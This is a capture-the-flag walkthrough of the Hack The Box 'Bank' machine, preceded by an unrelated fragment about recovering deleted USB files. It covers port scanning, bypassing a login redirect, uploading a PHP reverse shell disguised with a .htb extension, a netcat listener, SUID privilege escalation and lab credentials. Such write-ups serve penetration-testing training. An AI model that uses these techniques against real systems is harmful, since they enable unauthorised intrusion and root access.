Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?

-James

Move back to root directory and type following command.

pi@raspberrypi:~ $ sudo strings /dev/sdb
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r &
3d3*****20b
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James

Author: Jacco Straathof

HTB – Bank

Today we are going to solve another CTF challenge “Bank” which is categories as retired lab presented by Hack the Box for making online penetration practices. Solving challenges in this lab is not that much tough until you don’t have the correct knowledge of Penetration testing. Let start and learn how to breach a network then exploit it for retrieving desired information.

Level: Intermediate

Task: find user.txt and root.txt file on the victim’s machine.

Since these labs are online accessible therefore they have static IP. The IP of Bank is 10.10.10.29 so let’s initiate with nmap port enumeration.

root@kali:~/htb/bank# nmap -sC -sV 10.10.10.29
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-20 19:52 CET
Nmap scan report for 10.10.10.29
Host is up (0.031s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.80 seconds

Now the last option was to add target IP inside /etc/hosts file since port 53 was open for the domain and as it is a challenge of hack the box thus I edit bank.htb as a domain name.

Then I explore the domain name: bank.htb through the web browser and found following login page as shown below.

Then I preferred to use dirbuster tool and chose directory list 2-3 medium.txt file for directory brute force attack on http://bank.htb for PHP file extension.

Here I found so many directories but I was interested in the support.php file. So when I try to explore http://bank.htb/support.php I was unable to access this web page as I was always redirected to login page due to HTTP response 302.

Let’s try to see if we can analyze the support.php page contents before the redirection happens.

Start up Burp and enable the server intercept response as shown below.

Let’s browse to the login.php page again. Now that we can control the redirection, we can see that the support.php page has a complete html page served before any redirection happens.

R

Now remove highligted 302 Found, and click forward ( if we see the 302 found a second time , we remove it in the same way.

Opening the loaded html for support.php in the browser presents the page below.

Before we start exploiting the upload feature, looking into the source code of the page reveals an important configuration,

which states that .htb files will be executed as php. This means that we have to upload php files in a .htb wrapper.

let’s edit the file to point back to the attacking machine IP and port.

pentest monkey php-reverse-shell.php

After making the required changes to php backdoor, the file is saved as puckieshell.htb and uploaded as shown below.

Before we browse the uploaded file, let’s start a netcat listener on port 443
Browsing the uploaded file spawns back the shell, as shown below.

c:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
connect to [10.10.14.9] from bank.htb [10.10.10.29] 38230
Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 i686 i686 GNU/Linux
15:46:27 up 3 days, 15:32, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ cd /home/chris
$ ls
user.txt
$ cat user.txt
37c*****1c3

The shell is spawned back as www-data, but we are allowed to visit the directory of user “chris,”

To perform privilege escalation, one of the first things I always check is to find out which binaries which have SUID bit set.
<< find / perm -u=s -type f 2>/dev/null >>

We can see that there is binary under /var/htb/bin/emergency, which is a SUID bit.

$ cd /var/htb/bin
$ ls -l
total 112
-rwsr-xr-x 1 root root 112204 Jun 14 2017 emergency
$ file emergency
emergency: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1fff1896e5f8db5be4db7b7ebab6ee176129b399, stripped
$ ./emergency
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
cd /root
ls
root.txt
cat root.txt
d5b*****a68e

Intended Method

Many people overlooked it due to support.phpbeing visible almost immediately when scanning. The /balance-transfer/ directory took some time to find but is the intended method.

If you look through the files, they are all encrypted at first glance. If you take a closer look, there is one file which is much smaller than the rest:

Bank Balance Transfer File

If you open up the file, we see some nice, unencrypted credentials that we can use to log into the control panel.

--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+

===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===

From here we can head over to the support page and upload our malicious PHP file, with the extension .htb

Author : Jacco Straathof